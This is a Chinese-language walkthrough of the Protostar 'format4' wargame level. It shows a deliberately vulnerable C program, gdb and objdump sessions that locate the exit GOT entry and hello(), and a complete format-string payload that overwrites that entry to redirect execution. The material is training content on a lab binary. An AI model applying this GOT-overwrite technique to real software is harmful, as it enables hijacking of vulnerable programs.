About

format4 looks at one method of redirecting execution in a process.
Hints: objdump -TR is your friend
This level is at /opt/protostar/bin/format4

Source code

#include
#include
#include
#include

int target;

void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}

void vuln()
{
char buffer[512];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);

exit(1);
}

int main(int argc, char **argv)
{
vuln();
}

回忆上一题，我们能做到的事情是能通过printf(string)在任意地址写进任意的值。而本题就是将这个应用实例化了。我们可以看到有printf(buffer)和exit(1)，不难想到通过把exit(1)的地址改成hello()的地址即可。因此首先要先获得exit(1)和hello()的地址：
user@protostar:/opt/protostar/bin$ objdump -R ./format4

./format4:         file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET     TYPE                            VALUE
080496fc R_386_GLOB_DAT        __gmon_start__
08049730 R_386_COPY                stdin
0804970c R_386_JUMP_SLOT     __gmon_start__
08049710 R_386_JUMP_SLOT     fgets
08049714 R_386_JUMP_SLOT     __libc_start_main
08049718 R_386_JUMP_SLOT     _exit
0804971c R_386_JUMP_SLOT     printf
08049720 R_386_JUMP_SLOT     puts
08049724 R_386_JUMP_SLOT     exit


user@protostar:/opt/protostar/bin$ gdb -q ./format4
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) b main
Breakpoint 1 at 0x804851a: file format4/format4.c, line 27.
(gdb) r
Starting program: /opt/protostar/bin/format4

Breakpoint 1, main (argc=1, argv=0xbffff864) at format4/format4.c:27
27            format4/format4.c: No such file or directory.
                in format4/format4.c
(gdb) p hello
$1 = {void (void)} 0x80484b4
(gdb)

得到：
hello() 0x080484b4
exit()       0x 08049724

因此我们需要在  0x 08049724写进 0x080484b4，先计算第一个%n时已经输入字符的长度：
user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08"+"%3$x%4$n"' > /tmp/format4
user@protostar:/opt/protostar/bin$ gdb -q ./format4
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) i b
No breakpoints or watchpoints.
(gdb) disassemble vuln
Dump of assembler code for function vuln:
0x080484d2 :        push     %ebp
0x080484d3 :        mov        %esp,%ebp
0x080484d5 :        sub        $0x218,%esp
0x080484db :        mov        0x8049730,%eax
0x080484e0 :     mov        %eax,0x8(%esp)
0x080484e4 :     movl     $0x200,0x4(%esp)
0x080484ec :     lea        -0x208(%ebp),%eax
0x080484f2 :     mov        %eax,(%esp)
0x080484f5 :     call     0x804839c
0x080484fa :     lea        -0x208(%ebp),%eax
0x08048500 :     mov        %eax,(%esp)
0x08048503 :     call     0x80483cc
0x08048508 :     movl     $0x1,(%esp)
0x0804850f :     call     0x80483ec
End of assembler dump.
(gdb) b *vuln+61
Breakpoint 1 at 0x804850f: file format4/format4.c, line 22.
(gdb) r < /tmp/format4
Starting program: /opt/protostar/bin/format4 < /tmp/format4
$%&'bffff5e4

Breakpoint 1, 0x0804850f in vuln () at format4/format4.c:22
22            format4/format4.c: No such file or directory.
                in format4/format4.c
(gdb) x/1x 0x08049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:     0x00000018
(gdb)

然后计算一下高字节需要多少长度才能达到hello的地址 0x080484b4

user@protostar:/opt/protostar/bin$ python -c 'print 0xb4-(0x18-0x8)'
164
user@protostar:/opt/protostar/bin$ python -c 'print 0x184-0xb4'
208
user@protostar:/opt/protostar/bin$ python -c 'print 0x104-0x84'
128
user@protostar:/opt/protostar/bin$ python -c 'print 0x108-0x04'
260

长度分别是164、208、128、260，因此构造语句如下：

user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08"+"%3$164x%4$n"+"%4$208x%5$n"+"%5$128x%6$n"+"%6$260x%7$n"' | ./format4
$%&'                                                                                                                                                                                                                                                                                                                        bffff624                                                                                                                                                                                                                                                                                                                                                                                                                 8049724                                                                                                                                                                                                                                                 8049725                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         8049726
code execution redirected! you win